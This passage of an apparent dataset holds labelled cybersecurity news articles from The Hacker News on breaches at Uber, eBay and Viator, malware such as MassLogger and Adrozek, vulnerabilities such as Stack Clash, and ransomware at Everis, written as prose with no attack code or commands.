According to Bloomberg report, former Uber CEO Travis Kalanick learned of the cyber attack in November 2016, when the company was negotiating with the Federal Trade Commission (FTC) on a privacy settlement.

So, the company chose to pay the two hackers $100,000 to delete the stolen information and keep quiet about the incident and finally agreed to the FTC settlement three months ago, without admitting any wrongdoing.

Uber Technologies Inc. only told the FTC about the October 2016 data incident on Tuesday, when the breach was made public by Bloomberg.

However, this secret payment eventually cost Uber security executives their jobs for handling the incident.

Now Uber CEO Dara Khosrowshahi has reportedly asked for the resignation of Uber Chief Security Officer Joe Sullivan, and one of his deputies, Craig Clark, who worked to keep the attack quiet.
""None of this should have happened, and I will not make excuses for it. While I cannot erase the past, I can commit on behalf of every Uber employee that we will learn from our mistakes,"" Khosrowshahi said.
""We are changing the way we do business, putting integrity at the core of every decision we make and working hard to earn the trust of our customers.""

Uber is notifying regulatory authorities and offering affected drivers free credit monitoring and identity theft protection.

The company also says that it is monitoring the affected accounts for fraudulent activity and that riders do not need to take any action against this incident. It's likely that Uber will be forcing its customers to reset their passwords for its app.

",Data_Breaches
"eBay Hacked, Change your Account Password Now",https://thehackernews.com/2014/05/ebay-hacked-change-your-account.html,"If you have an eBay Account then you should change your password immediately, because the World's biggest E-commerce company with 128 million active users announced today in a press release that it had been Hacked.

eBay revealed that attackers compromised customers' database including emails, physical addresses, encrypted passwords and dates of birth, in a hacking attack between late February and early March, but financial information like credit card numbers, as well as PayPal information were stored separately and were not compromised.

'After conducting extensive tests on its networks,' They also said they've found no evidence of unauthorized access or activity by registered eBay users, but as precaution, eBay is resetting everyone's passwords that 'will help enhance security for eBay users.'

Why did eBay wait so long to tell everyone? because just two weeks ago they discovered data breach. They conducted a forensic investigation of its computers to find the extent of the theft and found that intruders compromised some employees accounts and then used their access to get the data from servers.
""Cyber attackers compromised a small number of employee login credentials, allowing unauthorized access to eBay's corporate network,"" the company said in a statement.
They detected the unauthorized employee logins two weeks ago and ""Working with law enforcement and leading security experts, the company is aggressively investigating the matter and applying the best forensics tools and practices to protect customers."" company said.

eBay customers are now potentially vulnerable to phishing attacks i.e. spoofed e-mails. Hackers or spammers could craft very convincing phishing emails which may appear legitimate at first glance, but could trick you into revealing further personal information.

To change your eBay password, log into your account, select Account Settings, then click ""Personal Information"", then ""edit"" next to your password. If you are using same login details for other websites, you should also update them as soon as possible.

",Cyber_Attack
U.S. federal lab linked to Stuxnet breached !,https://thehackernews.com/2011/04/us-federal-lab-linked-to-stuxnet.html,"A federally funded U.S. lab that is suspected to have been involved in finding the vulnerabilities in Siemens SCADA systems used by the Stuxnet worm has shut down the Internet connection for its employees following the discovery of a breach into the facility's systems.

The Oak Ridge National Laboratory - located in Tennessee and funded by the U.S. Department of Energy - is known for performing classified and unclassified research for federal agencies and departments on issues crucial for national security. Among other things, the lab also does cybersecurity research on malware, vulnerabilities and phishing.

It is somewhat ironic, then, that the breach was the result of two employees falling for a malicious email containing a link to a page that exploited a remote-code execution vulnerability in the Internet Explorer browser.

According to Wired, the email was sent to about 530 lab employees, of which 57 believed that the email was coming from the institution's human resources department and clicked on the link. Of those 57 machines, only two got infected.

It seems that the malware inserted in those two computers lay dormant for a week, and then started to send out stolen data from one of them to a remote server. This was discovered by the administrators who immediately shut down and cleaned up the machine, but a week later, they discovered that other servers were also infected - hence, the total shutdown of Internet access.

Thomas Zacharia, the deputy director of the lab, didn't say what data had been stolen, but he confirmed it was encrypted. He hopes that the investigation will reveal the nature of the data and the destination of the stolen batch. He also commented that the malware used in the attack was designed to hide on the system and to delete itself if it was unsuccessful on a particular system.

According to a New York Times article, the Oak Ridge National Laboratory was used to test and reveal the vulnerabilities that allowed the Stuxnet worm to target the Natanz nuclear plant. This claim being now in the open, it is easy to see how speculations about the origin of the attack that hit the lab's network are inevitably going to lean towards Iran.

",Malware
Avira Vulnerability Puts Users' Online Backup Data At Risk,https://thehackernews.com/2014/09/avira-vulnerability-puts-users-online.html,"A popular Anti-virus software Avira that provides free security software to its customers with Secure Backup service is vulnerable to a critical web application vulnerability that could allow an attacker to take over users' account, putting millions of its users' account at risk.

Avira is very popular for their free security software that comes with its own real-time protection module against malware and a secure backup service. Avira was considered to be the sixth largest antivirus vendor in 2012 with over 100 million customers worldwide.

A 16 year-old security researcher 'Mazen Gamal' from Egypt told The Hacker News that Avira Website is vulnerable to CSRF (Cross-site request forgery) vulnerability that allows him to hijack users' accounts and access to their online secure cloud backup files.

CSRF VULNERABILITY TO ACCOUNT TAKEOVER
Cross-Site Request Forgery (CSRF or XSRF) is a method of attacking a Web site in which an intruder masquerades as a legitimate and trusted user. All the attacker need to do is get the target browser to make a request to your website on their behalf by convincing the victim to click on a specially crafted HTML exploit page.

Basically, an attacker will use CSRF exploit to trick a victim into accessing a URL link that contains malicious requests which will replace victim's email ID on Avira account with attacker's email ID, compromising victim's account in just one click, explained Gamal.

VICTIM BACKUP FILES
After replacing the email address, an attacker can easily reset the password of victim's account through forget password option, as it will send the password reset link to attacker's email ID only.

Once hijacked, the attacker would be able to retrieve all the online backup files the victim have on his/her AVIRA account by simply using the same credentials to login into the user's Online backup Software or at https://dav.backup.avira.com/.
""I found a CSRF vulnerability in Avira can lead me to full account takeover of any Avira user account,"" Gamal said via an email to The Hacker News. ""The impact of the account takeover allowed me to Open the Backup files of the victim and also view the license codes for the affected user.""
Gamal also provided Proof-of-Concept video that explains the full story

Gamal reported the flaw to the Avira Security Team on 21st August. The team responded positively and patched the CSRF bug on their website, but the Secure online backup service is still vulnerable to hackers until Avira will not offer a offline password layer for decrypting files locally.

Mazen Gamal has been listed in a number of tech firms including Google, Facebook and Twitter for reporting several vulnerabilities in past.

",Vulnerability
TripAdvisor's Viator Hit by Massive Data Breach Affecting 1.4 Customers,https://thehackernews.com/2014/09/tripadvisors-viator-hit-by-massive-14_24.html,"TripAdvisor's Online travel booking and review website Viator has reportedly been hit by a massive data breach at its that may have exposed payment card details and account credentials of its customers, affecting an estimated 1.4 million of its customers.

The San Francisco-based Viator, acquired by TripAdvisor – the world's largest travel site – for £122 million (US$ 200 million) back in July, admitted late on Friday that the intruders have hacked into some of its customers' payment card accounts and made unauthorized charges.

The data breach was discovered in the bookings made through Viator's websites and mobile offerings that could potentially affect payment card data.

Viator said that the company has hired forensic experts to figure out the extent of the breach. Meanwhile, the company has begun notifying its affected customers about the security breach as said by the travel outfit in a press release.
""On September 2, we were informed by our payment card service provider that unauthorized charges occurred on a number of our customers' credit cards,"" Viator wrote. ""We have hired forensic experts, notified law enforcement and we have been working diligently and comprehensively to investigate the incident, identify how our systems may have been impacted, and secure our systems.""
""While our investigation is ongoing, we are in the process of notifying approximately 1.4 million Viator customers, who had some form of information potentially affected by the compromise.""
During investigation it found that the cyber criminals have broken into its internal databases and accessed the payment card data – including encrypted credit or debit card number, card expiration date, name, billing address and email address – of approximately 880,000 customers, and possibly their Viator account information that includes email address, encrypted password and Viator 'nickname.'

Additionally, the intruders may have also accessed the Viator account information, including email addresses and encrypted passwords, of over 560,000 Viator customers.

According to the company, Debit-card PIN numbers were not included in the breach because Viator does not store them. The travel advisor said that they believe that the CVV number, the security numbers printed on the back of the customer's credit card, were also not stolen in the breach.

For those who are affected by the breach in United States, Viator is offering them identity protection and credit card monitoring services for free and and the company is also investigating the possibility of offering similar services to customers outside the country.

Meanwhile, the company has warned its affected customers to regularly monitor their card activity and report any fraudulent charges to their card company. ""Customers will not be responsible for fraudulent charges to their accounts if they are reported in a timely manner,"" Viator said.

Viator also recommends its users to change their password for the site, as well as all other websites that uses the same credentials.

",Data_Breaches
"Masslogger Trojan Upgraded to Steal All Your Outlook, Chrome Credentials",https://thehackernews.com/2021/02/masslogger-trojan-upgraded-to-steal-all.html,"A credential stealer infamous for targeting Windows systems has resurfaced in a new phishing campaign that aims to steal credentials from Microsoft Outlook, Google Chrome, and instant messenger apps.
Primarily directed against users in Turkey, Latvia, and Italy starting mid-January, the attacks involve the use of MassLogger — a .NET-based malware with capabilities to hinder static analysis — building on similar campaigns undertaken by the same actor against users in Bulgaria, Lithuania, Hungary, Estonia, Romania, and Spain in September, October, and November 2020.
MassLogger was first spotted in the wild last April, but the presence of a new variant implies malware authors are constantly retooling their arsenal to evade detection and monetize them.
""Although operations of the Masslogger trojan have been previously documented, we found the new campaign notable for using the compiled HTML file format to start the infection chain,"" researchers with Cisco Talos said on Wednesday.
Compiled HTML (or .CHM) is a proprietary online help format developed by Microsoft that's used to provide topic-based reference information.
The new wave of attacks commences with phishing messages containing ""legitimate-looking"" subject lines that appear to relate to a business.
One of the emails targeted at Turkish users had the subject ""Domestic customer inquiry,"" with the body of the message referencing an attached quote. In September, October and November, the emails took the form of a ""memorandum of understanding,"" urging the recipient to sign the document.
Regardless of the message theme, the attachments adhere to the same format: a RAR multi-volume filename extension (e.g., ""70727_YK90054_Teknik_Cizimler.R09"") in a bid to bypass attempts to block RAR attachments using its default filename extension "".RAR.""
These attachments contain a single compiled HTML file that, when opened, displays the message ""Customer service,"" but in fact comes embedded with obfuscated JavaScript code to create an HTML page, which in turn contains a PowerShell downloader to connect to a legitimate server and fetch the loader ultimately responsible for launching the MassLogger payload.
Aside from exfiltrating the amassed data via SMTP, FTP or HTTP, the latest version of MassLogger (version 3.0.7563.31381) features functionality to pilfer credentials from Pidgin messenger client, Discord, NordVPN, Outlook, Thunderbird, Firefox, QQ Browser, and Chromium-based browsers such as Chrome, Edge, Opera, and Brave.
""Masslogger can be configured as a keylogger, but in this case, the actor has disabled this functionality,"" the researchers noted, adding the threat actor installed a version of Masslogger control panel on the exfiltration server.
With the campaign almost entirely executed and present only in memory with the sole exception of the compiled HTML help file, the significance of conducting regular memory scans cannot be overstated enough.
""Users are advised to configure their systems for logging PowerShell events such as module loading and executed script blocks as they will show executed code in its deobfuscated format,"" the researchers concluded.

",Cyber_Attack
Al-Qaida sites knocked offline before release of 'Salil al-Sawarim 3' movie,https://thehackernews.com/2012/12/al-qaida-sites-knocked-offline-before.html,"U.S. intelligence sources confirmed that, Official websites of Al-Qaida were knocked offline two weeks back and still down due to DDoS attack. According to source, ""This is one of the longest disruptions the organization has experienced since it set up its online distribution system in 2006. Al-Qaida also was hit by a massive cyber attack in late 2008, from which the online network never recovered.""

The websites are forced to offline, just before the release of a film titled as ""Salil al-Sawarim 3"", which is actually the propaganda video of Iraqi soldiers with dead insurgents by Al-Qaida.

From last few months, online jihadists are discussing the release and had been sharing images and footage from the production. The cyber attack comes as the U.S. State Department, according to a senior official.

The cyber attack on Al-Qaida network delayed the release of movie. According to another source, the last version ""Salil As-Sawarim 2"" movie was downloaded by more than half million people around the world,

Last release of video covered the operations of the Mujahideen special forces of the Daulah Islam of Iraq against the high-ranking officers of the Anti Terror special forces (SWAT) of the Shi'ah regime of Iraq.

""Al-Qaida has been using the websites to post propaganda that experts say is successfully radicalizing youth all over the world, including in Syria where the organization is believed to be active.""

",Cyber_Attack
A Decade Old Unix/Linux/BSD Root Privilege-Escalation Bug Discovered,https://thehackernews.com/2017/06/linux-root-privilege-escalation.html,"Update: Find working Exploits and Proof-of-Concepts at the bottom of this article.

Security researchers have discovered more than a decade-old vulnerability in several Unix-based operating systems — including Linux, OpenBSD, NetBSD, FreeBSD and Solaris — which can be exploited by attackers to escalate their privileges to root, potentially leading to a full system takeover.

Dubbed Stack Clash, the vulnerability (CVE-2017-1000364) has been discovered in the way memory was being allocated on the stack for user space binaries.

Exploiting Stack Clash Bug to Gain Root Access

The explanation is simple: Each program uses a special memory region called the stack, which is used to store short-term data. It expands and contracts automatically during the execution of any program, depending upon the needs of that program.

According to researchers at Qualys, who discovered and reported this bug, a malicious program can attempt to use more memory space than available on the stack, which could overflow the memory, causing it to collide or clash with nearby memory regions and overwrite their content.

Moreover, the Stack Clash exploit can also bypass the stack guard-page, a memory management protection introduced in 2010, after this issue was exploited in 2005 and 2010.
""Unfortunately, a stack guard-page of a few kilobytes is insufficient: if the stack-pointer 'jumps' over the guard-page—if it moves from the stack into another memory region without accessing the guard-page—then no page-fault exception is raised and the stack extends into the other memory region,"" an advisory published by Qualys read.
The Stack Clash vulnerability requires local access to the vulnerable system for exploitation, but researchers said it could be exploited remotely depending upon the applications.

For example, a malicious customer with low privilege account with a web hosting company, running vulnerable system, could exploit this vulnerability to gain control over other websites running on the same server, as well as remotely gain root access and execute malicious code directly.

Just yesterday, we reported that how a web hosting company fell victim to a similar attack used to infect Linux servers with a ransomware malware, causing the company to pay more than $1 Million in ransom to get back their files.

Attackers can also combine the Stack Clash bug with other critical vulnerabilities, like the Sudo vulnerability recently patched, and then run arbitrary code with the highest privileges, said Qualys researchers.

7 Proof-of-Concept Exploits

The researchers said they were able to develop seven exploits and seven proofs of concept (PoCs) for the Stack Clash vulnerability, which works on Linux, OpenBSD, NetBSD, FreeBSD and Solaris on 32-bit and 64-bit x86 processors.

However, the researchers have not yet published the exploits and proofs of concept, giving users and admins enough time to patch their systems before they go into the Stack Clash exploits public.

The PoCs follow four steps, which include 'Clashing' the stack with another memory region, running the stack pointer to the stack's start, 'Jumping' over the stack guard-page and 'Smashing' the stack or the other memory regions.

Among distros and systems affected by Stack Clash include:

Sudo on Debian, Ubuntu, and CentOS
ld.so and most SUID-root binaries on Debian, Ubuntu, Fedora, and CentOS
Exim on Debian
rsh on Solaris 11 and so on
Red Hat Enterprise

The company also believes that other operating systems, including Microsoft's Windows, Apple's OS X/macOS and Google's Linux-based Android OS could also be vulnerable to Stack Clash, though it is yet to be confirmed.

Patch Available; Update Now

Many affected vendors have already issued security patches for the bug, so users and administrators are advised to install patches a soon as possible.

If security patches from your vendor are yet to be released, you can reboot your systems or can manually apply stack limits to local users' applications. Simply, set the hard RLIMIT STACK and RLIMIT_AS of local users and remote services to a low value.

It is also recommended to recompile all userland code (ld.so, libraries, binaries) with the –fstack-check feature. This would prevent the stack pointer from moving into another memory region without accessing the stack guard-page and would kill Stack Clash dead.

Exploits and Proof-of-Concepts Released!

Since Fedora and Slackware have published updates, and FreeBSD and NetBSD have issued patches, Qualys researchers have finally released exploits and POCs for the Stack Clash vulnerability.

You can find all exploits and PoCs here and here.

",Vulnerability
Chinese hackers attack on White House computers,https://thehackernews.com/2012/10/chinese-hackers-attack-on-white-house.html,"The White House acknowledged Monday that one of its computer networks was hit by a cyber attack, but said there was no breach of any classified systems and no indication any data was lost. Including systems used by the military for nuclear commands were breached by Chinese hackers.

A conservative newspaper that has been regularly critical of the Obama administration, called The Washington Free Beacon, first published the report on Sunday and said that the attackers were linked to the Chinese government.

One official said the cyber breach was one of Beijing's most brazen cyber attacks against the United States and highlights a failure of the Obama administration to press China on its persistent cyber attacks. Disclosure of the cyber attack also comes amid heightened tensions in Asia, as the Pentagon moved two U.S. aircraft carrier strike groups and Marine amphibious units near waters by Japan's Senkaku islands.

The official called the incident a ""spear-phishing"" attack, which implies that it was aimed specifically at the White House. Spear-phishing entails using somethings such as a personalized e-mail to trick someone into clicking on a malicious link or downloading a file.

The attempted hacking of U.S. military networks used by the White House is a common occurrence, but success is rare.

Things get a bit more terrifying when you learn what exactly China was after. The Free Beacon's report says that the hackers were trying to get into the White House Military Office system. This is the system the contains the codes for the football the collection of nuclear launch codes that the president has on him at all times.

",Cyber_Attack
FireEye spotted Critical 0-day vulnerability in Java Runtime Environment,https://thehackernews.com/2012/08/fireeye-spotted-critical-0-day.html,"FireEye's Malware Intelligence Lab is making the claim that there is a new zero day vulnerability in the wild that affects the latest version of Java.Researcher. Atif Mushtaq wrote on the company's blog that he spotted the initial exploit on a domain that pointed to an IP address in China.

The vulnerability allows computers to be infected by simply visiting a specially crafted web page, and the malware served in the current attacks contacts a C&C server in Singapore. Researchers from heise Security have also created a PoC page using information that is publicly available.

A separate post published on Monday by researchers Andre M. DiMino and Mila Parkour said the number of attacks, which appear to install the Poison Ivy Remote Access Trojan, were low. But they went on to note that the typical delay in issuing Java patches, combined with the circulation of exploit code, meant it was only a matter of time until the vulnerability is exploited more widely by other attackers.

Developers at vulnerability management company Rapid7, which owns the Metasploit Project, on Sunday added the exploit to their penetration testing framework. And the exploit is expected to show up if it hasn't already in the widely used BlackHole exploit toolkit, one of the most popular threats on the web.

""This vulnerability is not a 'memory corruption' type vulnerability, but instead seems to be a security bypass issue that allows running untrusted code outside the sandbox without user interaction,"" Eiram said. ""In this specific case a file is downloaded and executed on the user's system when just visiting a web page hosting a malicious applet.""

It's not clear when Oracle will release a patch for this vulnerability. The company did not immediately respond to a request for comment. Some security experts are prepping an unofficial patch for the program that should blunt this vulnerability.

However, uninstalling or disabling Java is probably not an acceptable solution for a large number of companies and users that rely on Java-based Web applications to conduct their daily business.

",Vulnerability
Bitcoin mining malware found in E-Sports Entertainment (ESEA) software,https://thehackernews.com/2013/05/bitcoin-mining-malware-found-in-e.html,"The Bitcoin mining rig is becoming a popular alternative to people who want an easy way to earn the digital currency. All you have to do is plug the hardware that specializes in Bitcoin mining and run its customized software. After that, you can sit back and relax as it mines the digital currency for you.

A popular eSports league has admitted that one of its employees harnessed the power of member's computers without their knowledge in order to mine Bitcoins. For a period of 2 weeks, gamers noticed that their computers were generating unusually high GPU loads and frequent BSOD errors. Some gamers stated that their GPUs were damaged due to them reaching temperatures above 90 degrees Celsius.


The mining began on April 13th and affected thousands of gamers, who unwittingly mined over $3,700 worth of the currency.

Eric Thunberg, co-owner of ESEA, stated that the Bitcoin miner was meant to be part of an April Fools joke, however, they weren't able to finish it in time. They then decided to put some of the test code into the clients belonging to a few ESEA administrators.

They wanted to see if the bitcoin miner would offer any benefits to the ESEA community. After 2 days of testing, they decided to cancel the project altogether. Unfortunately, according to an official statement released by Craig Levine, the other co-owner of ESEA, an employee involved in the test decided to use the test codes for his own personal gain

ESEA distributes anti-cheat software that allows subscribers to play the Counter-Strike first-person shooter game on their network. The software gives players better data on their game play and cuts down on the use of known game cheats, which can give opponents an unfair advantage. The network has close to 14,000 paying customers.

ESEA co-founder Craig Torbull Levine said ""The owners and management at ESEA all apologize to each of you that were impacted by the recent events and intend to make things right,"" Torbull continues ""ESEA has issued a free month of ESEA Premium to all of our community members who were enrolled in Premium for the month of April. We also ask anyone who has experienced any physical damage to their computers to open an ESEA support ticket.""

As of this morning, ESEA has made sure that all Bitcoin mining has stopped. ESEA is also in the process of taking all necessary steps internally to ensure that nothing like this ever happens again.

The news is quite disturbing considering that many people have been using their services in order to play games online fairly or without worrying about other players cheating their way out of the game.

",Malware
First Large Cyber Espionage Activity against Pakistan Emanating From India,https://thehackernews.com/2013/05/first-large-cyber-espionage-activity.html,"Cyber Security researchers have discovered a family of information stealing malware targeting Pakistan that originates out of India.

Norman Shark, the global security leader in malware analysis solutions for enterprises, service providers and government, today released a report detailing a large and sophisticated cyber-attack infrastructure that appears to have originated from India.
The attacks, conducted by private threat actors over a period of three years and still ongoing, showed no evidence of state sponsorship but the primary purpose of the global command-and-control network appears to be intelligence gathering from a combination of national security targets and private sector companies.

Attackers used known vulnerabilities in Microsoft software, chucking malware dubbed HangOver onto target machines, most of which were based in Pakistan, where 511 infections associated with the campaign were detected. HangOver installs keyloggers, takes screenshots and records victims' browser usage, before sending the pilfered data off to remote servers by FTP or HTTP.

The malware installed on the infected computers is primarily designed to steal information, but its functionality can be enhanced with additional modules.

There's also evidence that the attackers are signing their code with an old certificate that was issued in 2011 to Technical and Commercial Consulting Pvt. Ltd., a firm based in New Delhi, India. The certificate had been revoked in late March 2012, but was still in use. Eset contacted VeriSign, which revoked the certificate. Eset found more than 70 binary files signed with the malicious certificate.

The payloads dropped by the malware offer a range from access. ESET discovered downloaders, document uploaders, keyloggers, reverse shells, and payloads with the ability to self-replicate within a network.

There was another association with India in the repeated appearance of the word ""Appin"". ""There seems to be some connection with the Indian security company called Appin Security Group,"" Norman wrote. Domains used by the attack infrastructure were shown to have been registered by Appin Security Solutions too.

Another firm, Mantra Tech Ventures, was also hosting a number of malicious sites run by the attackers, Norman said.

The report said that the attackers used NirSoft's WebPassView and Mail PassView tools for recovering passwords in email clients and browser stores; the tools were signed by the malicious certificate.

Update: Spokesperson from Appin responded about the Norman's Findings via email ""Appin The Appin Security Group is no manner connected or involved with the activities as sought to be implied in the alleged report. As is apparent from the alleged report itself, the same is only a marketing gimmick on the part of Norman AS. The Appin Security Group has already initiated legal proceedings against Norman AS."" Abhishek, Corporate Communications Team, Appin Security Group said.

",Cyber_Attack
"Watch Out! Adrozek Malware Hijacking Chrome, Firefox, Edge, Yandex Browsers",https://thehackernews.com/2020/12/watch-out-adrozek-malware-hijacking.html,"Microsoft on Thursday took the wraps off an ongoing campaign impacting popular web browsers that stealthily injects malware-infested ads into search results to earn money via affiliate advertising.
""Adrozek,"" as it's called by the Microsoft 365 Defender Research Team, employs an ""expansive, dynamic attacker infrastructure"" consisting of 159 unique domains, each of which hosts an average of 17,300 unique URLs, which in turn host more than 15,300 unique malware samples.
The campaign — which impacts Microsoft Edge, Google Chrome, Yandex Browser, and Mozilla Firefox browsers on Windows — aims to insert additional, unauthorized ads on top of legitimate ads displayed on search engine results pages, leading users to click on these ads inadvertently.
Microsoft said the persistent browser modifier malware has been observed since May this year, with over 30,000 devices affected every day at its peak in August.
""Cybercriminals abusing affiliate programs is not new—browser modifiers are some of the oldest types of threats,"" the Windows maker said. ""However, the fact that this campaign utilizes a piece of malware that affects multiple browsers is an indication of how this threat type continues to be increasingly sophisticated. In addition, the malware maintains persistence and exfiltrates website credentials, exposing affected devices to additional risks.""
Once dropped and installed on target systems via drive-by downloads, Adrozek proceeds to make multiple changes to browser settings and security controls so as to install malicious add-ons that masquerade as genuine by repurposing the IDs of legitimate extensions.
Although modern browsers have integrity checks to prevent tampering, the malware cleverly disables the feature, thus allowing the attackers to circumvent security defenses and exploit the extensions to fetch extra scripts from remote servers to inject bogus advertisements and gain revenue by driving traffic to these fraudulent ad pages.
What's more, Adrozek goes one step further on Mozilla Firefox to carry out credential theft and exfiltrate the data to attacker-controlled servers.
""Adrozek shows that even threats that are not thought of as urgent or critical are increasingly becoming more complex,"" the researchers said.
""And while the malware's main goal is to inject ads and refer traffic to certain websites, the attack chain involves sophisticated behavior that allows attackers to gain a strong foothold on a device. The addition of credential theft behavior shows that attackers can expand their objectives to take advantage of the access they're able to gain.

",Malware
Android Vulnerability Allows Applications to Make Unauthorized Calls without Permissions,https://thehackernews.com/2014/07/android-vulnerability-allows.html,"A major vulnerability believed to be present in most versions of Android can allow a malicious Android applications on the Android app store to make phone calls on a user's device, even when they lack the necessary permissions.

The critical vulnerability was identified and reported to Google Inc. late last year by researchers from German security firm Curesec. The researchers believe the virus was first noticed in Android version 4.1, also known as ""Jelly Bean.""

APPS CAN MAKE CALLS FROM YOUR PHONE
""This bug can be abused by a malicious application. Take a simple game which is coming with this code. The game won't ask you for extra permissions to do a phone call to a toll number – but it is able to do it,"" Curesec's CEO Marco Lux and researcher Pedro Umbelino said Friday in a blog post. ""This is normally not possible without giving the app this special permission.""

By leveraging these vulnerabilities, malicious applications could initiate unauthorized phone calls, disrupt ongoing calls, dialing out to expensive toll services, potentially framing up big charges on unsuspecting users' phone bills.

Android bug allows unauthorized users to terminate outgoing calls and Send USSD
The vulnerability can also be exploited to disconnect the outgoing calls, to send and execute :
Unstructured Supplementary Service Data (USSD)
Supplementary Service (SS)
Manufacturer-defined MMI (Man-Machine Interface) codes.
These special codes can be used to access various device functions or operator services, which makes the problem a nasty one for those who value the data they store on their mobile phone.
""The list of USSD/SS/MMI codes is long and there are several quite powerful ones like changing the flow of phone calls (forwarding), blocking your SIM card, enabling or disabling caller anonymisation and so on,"" reads the blog post.
Even the Android security programs, where apps without the CALL_PHONE permission should not be able to initiate phone calls, can be easily bypassed and offer no protection from these flaws, because the exploits have capability to deceive the Android permissions system altogether.

""As the app does not have the permission but is abusing a bug, such apps cannot easily protect you from this without the knowledge that this bug exists in another class on the system,"" wrote the researchers.

A large number of versions of Android are affected by the vulnerabilities. Researchers have found two different flaws that can be exploited to achieve the same ends – one that's present in newer Android releases and another that's found in older versions.

FIRST BUG - AFFECTS NEWER VERSION OF ANDROID
The first security bug, identified as CVE-2013-6272, appears to be introduced in Android version 4.1.1 Jelly Bean, and outlasted all the way through 4.4.2 KitKat before the security team at Google was able to fixed it in Android 4.4.4.

But, luckily only about 14% of users are currently updated to the latest version of the mobile Operating System. So, just think about it, How many users are currently in the grip of the flaws? Not less than a generous users open to vulnerabilities and attack paths.

SECOND BUG - AFFECTS OLDER VERSION OF ANDROID
The second security hole is wider in its reach, affecting both Android 2.3.3 and 2.3.6, the popular versions of Gingerbread variant which are used by lower-end smartphones, budget-style smartphones which continue to surge in popularity amongst emerging markets like those found in Brazil, China, and Russia.

The bug was fixed in Android 3.0 Honeycomb, but that was a tablet-only release that no longer even charts on Google's Android statistics. That means the bugs leave nearly 90 percent of Android users running vulnerable versions of the Operating System to dialer-manipulating vulnerability.

Researchers at Curesec have provided source code and a proof-of-concept demonstration app for both the bugs, so that customers can help themselves to test if their Android devices are vulnerable or not.

It is strongly advised to Android users those are running KitKat on their devices to get upgraded to the latest version 4.4.4 as soon as possible. It is expected that the device makers and carriers will soon roll out the updates in the coming weeks.

",Vulnerability
U.S. Charges 6 Russian Intelligence Officers Over Destructive Cyberattacks,https://thehackernews.com/2020/10/russian-hackers.html,"The US government on Monday formally charged six Russian intelligence officers for carrying out destructive malware attacks with an aim to disrupt and destabilize other nations and cause monetary losses.
The individuals, who work for Unit 74455 of the Russian Main Intelligence Directorate (GRU), have been accused of perpetrating the ""most disruptive and destructive series of computer attacks ever attributed to a single group,"" according to the Justice Department (DoJ).
All the six men — Yuriy Sergeyevich Andrienko, Sergey Vladimirovich Detistov, Pavel Valeryevich Frolov, Anatoliy Sergeyevich Kovalev, Artem Valeryevich Ochichenko, and Petr Nikolayevich Pliskin — have been charged with seven counts of conspiracy to conduct computer fraud and abuse, conspiracy to commit wire fraud, wire fraud, damaging protected computers, and aggravated identity theft.
""The object of the conspiracy was to deploy destructive malware and take other disruptive actions, for the strategic benefit of Russia, through unauthorized access ('hacking') of victim computers,"" the prosecutors said.
""In furtherance of the conspiracy, Andrienko, Detistov, Frolov, Kovalev, Ochichenko, Pliskin, and others known and unknown to the grand jury procured, maintained, and utilized servers, email accounts, malicious mobile applications, and related hacking infrastructure to engage in spear-phishing campaigns and other network intrusion methods against computers used by the victims.""
Five years ago, Russian hackers belonging to Sandworm (aka APT28, Telebots, Voodoo Bear or Iron Viking) group attacked Ukraine's power grid, Ministry of Finance, and State Treasury Service using malware such as BlackEnergy, Industroyer, and KillDisk, before embarking on a spree of destructive cyberattacks — including unleashing NotPetya in 2017 and targeting the Pyeongchang Winter Olympics with phishing campaigns and ""Olympic Destroyer"" malware.
The six individuals have been accused of developing components for NotPetya, Olympic Destroyer, KillDisk malware, as well as preparing spear-phishing campaigns directed against the 2018 PyeongChang Winter Olympic Games, resulting in damage and disruption to computer networks across France, Georgia, the Netherlands, Republic of Korea, Ukraine, the UK, and the US.
""For example, the NotPetya malware impaired Heritage Valley's provision of critical medical services to citizens of the Western District of Pennsylvania through its two hospitals, 60 offices, and 18 community satellite facilities,"" the DoJ said. ""The attack caused the unavailability of patient lists, patient history, physical examination files, and laboratory records.""
""Heritage Valley lost access to its mission-critical computer systems (such as those relating to cardiology, nuclear medicine, radiology, and surgery) for approximately one week and administrative computer systems for almost one month, thereby causing a threat to public health and safety,"" it added.
The total damages brought about by NotPetya is pegged to more than $10 billion to date, crippling several multinational companies like Maersk, Merck, FedEx's TNT Express, Saint-Gobain, Mondelēz, and Reckitt Benckiser.
In a similar development, the UK government also formally accused the GRU of perpetrating cyber reconnaissance against officials and organizations at the 2020 Tokyo Olympic and Paralympic Games earlier this summer before they were postponed next year due to COVID-19.
This is not the first time GRU has come under the DoJ scanner. Two years back, the US government charged seven officers working for the military intelligence agency for conducting sophisticated computer intrusions against US entities as part of an influence and disinformation campaign designed to counter anti-doping efforts.

",Cyber_Attack
Targeted Ransomware Attacks Hit Several Spanish Companies,https://thehackernews.com/2019/11/everis-spain-ransomware-attack.html,"Everis, one of the largest IT consulting companies in Spain, suffered a targeted ransomware attack on Monday, forcing the company to shut down all its computer systems until the issue gets resolved completely.

Ransomware is a computer virus that encrypts files on an infected system until a ransom is paid.

According to several local media, Everis informed its employees about the devastating widespread ransomware attack, saying:

""We are suffering a massive virus attack on the Everis network. Please keep the PCs off. The network has been disconnected with clients and between offices. We will keep you updated.""

""Please, urgently transfer the message directly to your teams and colleagues due to standard communication problems.""

According to cybersecurity consultant Arnau Estebanell Castellví, the malware encrypted files on Everis's computers with an extension name resembling the company's name, i.e., "".3v3r1s,"" which suggests the attack was highly targeted.

At this moment, it's unknown which specific ransomware family was used to target the company, but the attackers behind the attack reportedly demanded €750,000 (~USD 835,000) in ransom for the decryptor, a company insider informed bitcoin.es site.

However, considering the highly targeted nature of the attack, the founder of VirusTotal in a tweet suggests the type of ransomware could be BitPaymer/IEncrypt, the same malware that was recently found exploiting a zero-day vulnerability in Apple's iTunes and iCloud software.

Here's the ransomware message that was displayed on the screens of the infected computers across the company:

Hi Everis, your network was hacked and encrypted.
No free decryption software is available on the web.
Email us at sydney.wiley@protonmail.com or evangelina.mathews@tutanota.com to get the ransom amount.
Keep our contacts safe.
Disclosure can lead to the impossibility of decryption.

What's more? It seems like Everis is not the only company that suffered a ransomware attack this morning.

Some other Spanish and European companies have reportedly also been hit by a similar ransomware malware during the same period, of which the national radio network La Cadena SER has confirmed the cyber attack.

""The SER chain has suffered this morning an attack of a computer virus of the ransomware type, file encrypter, which has had a serious and widespread affectation of all its computer systems,"" the company said.

""Following the protocol established in cyberattacks, the SER has seen the need to disconnect all its operating computer systems.""

The company has also informed that its ""technicians are already working for the progressive recovery of the local programming of each of their stations.""

